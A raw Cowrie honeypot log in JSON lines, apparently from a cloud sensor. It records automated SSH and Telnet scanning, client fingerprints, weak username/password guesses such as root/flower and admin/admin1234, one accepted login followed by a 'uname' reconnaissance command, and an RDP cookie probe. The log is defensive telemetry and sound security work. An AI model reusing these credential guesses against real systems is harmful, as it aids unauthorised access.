{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.289916Z","src_ip":"45.153.34.112","session":"33b597130e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.538451Z","src_ip":"45.153.34.112","session":"33b597130e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8520c704478","protocol":"ssh","message":"New connection: 103.75.183.219:56320 (159.203.135.109:22) [session: d8520c704478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.687893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.696891Z","src_ip":"103.75.183.219","session":"d8520c704478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.939547Z","src_ip":"103.75.183.219","session":"d8520c704478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:46.637517Z","src_ip":"45.153.34.112","session":"33b597130e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flower","message":"login attempt [root/flower] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:46.666386Z","src_ip":"103.75.183.219","session":"d8520c704478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58168,"dst_ip":"10.17.0.5","dst_port":23,"session":"90dba5d7f4e5","protocol":"telnet","message":"New connection: 192.119.13.58:58168 (10.17.0.5:23) [session: 90dba5d7f4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:46.902895Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33306,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd1feb3339c","protocol":"telnet","message":"New connection: 192.119.13.58:33306 (10.17.0.5:23) [session: bfd1feb3339c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:47.757173Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:47.910778Z","src_ip":"103.75.183.219","session":"d8520c704478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39468,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fe19c39f71","protocol":"ssh","message":"New connection: 45.153.34.112:39468 (10.17.0.5:22) [session: 91fe19c39f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:48.968714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:48.973849Z","src_ip":"45.153.34.112","session":"91fe19c39f71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:49.057349Z","src_ip":"45.153.34.112","session":"91fe19c39f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:49.303284Z","src_ip":"45.153.34.112","session":"91fe19c39f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece217cacb1f","protocol":"telnet","message":"New connection: 192.119.13.58:41414 (10.17.0.5:23) [session: ece217cacb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:49.730970Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42234,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece2df84150e","protocol":"telnet","message":"New connection: 192.119.13.58:42234 (10.17.0.5:23) [session: ece2df84150e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:49.912502Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61130,"dst_ip":"10.17.0.5","dst_port":22,"session":"a73773d251f9","protocol":"ssh","message":"New connection: 167.172.81.52:61130 (10.17.0.5:22) [session: a73773d251f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:50.092572Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:50.150798Z","src_ip":"167.172.81.52","session":"a73773d251f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:50.156987Z","src_ip":"167.172.81.52","session":"a73773d251f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:50.386716Z","src_ip":"45.153.34.112","session":"91fe19c39f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.024834394454956,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.448663Z","src_ip":"192.119.13.58","session":"906712a20577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41098,"dst_ip":"10.17.0.5","dst_port":22,"session":"67eab0bf65da","protocol":"ssh","message":"New connection: 45.153.34.112:41098 (10.17.0.5:22) [session: 67eab0bf65da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.649592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.654858Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.745407Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54898,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dc79a9a9502","protocol":"telnet","message":"New connection: 192.119.13.58:54898 (10.17.0.5:23) [session: 9dc79a9a9502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.859054Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:52.992681Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55768,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52f59991356","protocol":"telnet","message":"New connection: 192.119.13.58:55768 (10.17.0.5:23) [session: f52f59991356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:53.087439Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:53.204925Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:53.207297Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:53.291995Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:53.296972Z","src_ip":"45.153.34.112","session":"67eab0bf65da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"e293f207a203","protocol":"telnet","message":"New connection: 192.119.13.58:33178 (10.17.0.5:23) [session: e293f207a203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:54.538254Z"}
{"eventid":"cowrie.session.closed","duration":38.75397205352783,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:55.737625Z","src_ip":"192.119.13.58","session":"e88d54a7a0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"706bb43fa72b","protocol":"ssh","message":"New connection: 45.153.34.112:41110 (10.17.0.5:22) [session: 706bb43fa72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:56.542641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:56.547071Z","src_ip":"45.153.34.112","session":"706bb43fa72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:56.629040Z","src_ip":"45.153.34.112","session":"706bb43fa72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:56.882903Z","src_ip":"45.153.34.112","session":"706bb43fa72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:57.969110Z","src_ip":"45.153.34.112","session":"706bb43fa72b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":45010,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1708c1e0235","protocol":"ssh","message":"New connection: 170.106.177.3:45010 (10.17.0.5:22) [session: c1708c1e0235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.194094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.199655Z","src_ip":"170.106.177.3","session":"c1708c1e0235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50386,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d13266e85b","protocol":"ssh","message":"New connection: 45.153.34.112:50386 (10.17.0.5:22) [session: 57d13266e85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.214028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.219540Z","src_ip":"45.153.34.112","session":"57d13266e85b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.268971Z","src_ip":"170.106.177.3","session":"c1708c1e0235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.305508Z","src_ip":"45.153.34.112","session":"57d13266e85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.555191Z","src_ip":"45.153.34.112","session":"57d13266e85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwords","message":"login attempt [root/passwords] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:00.589549Z","src_ip":"170.106.177.3","session":"c1708c1e0235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:01.663827Z","src_ip":"170.106.177.3","session":"c1708c1e0235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:01.835457Z","src_ip":"45.153.34.112","session":"57d13266e85b","protocol":"ssh"}
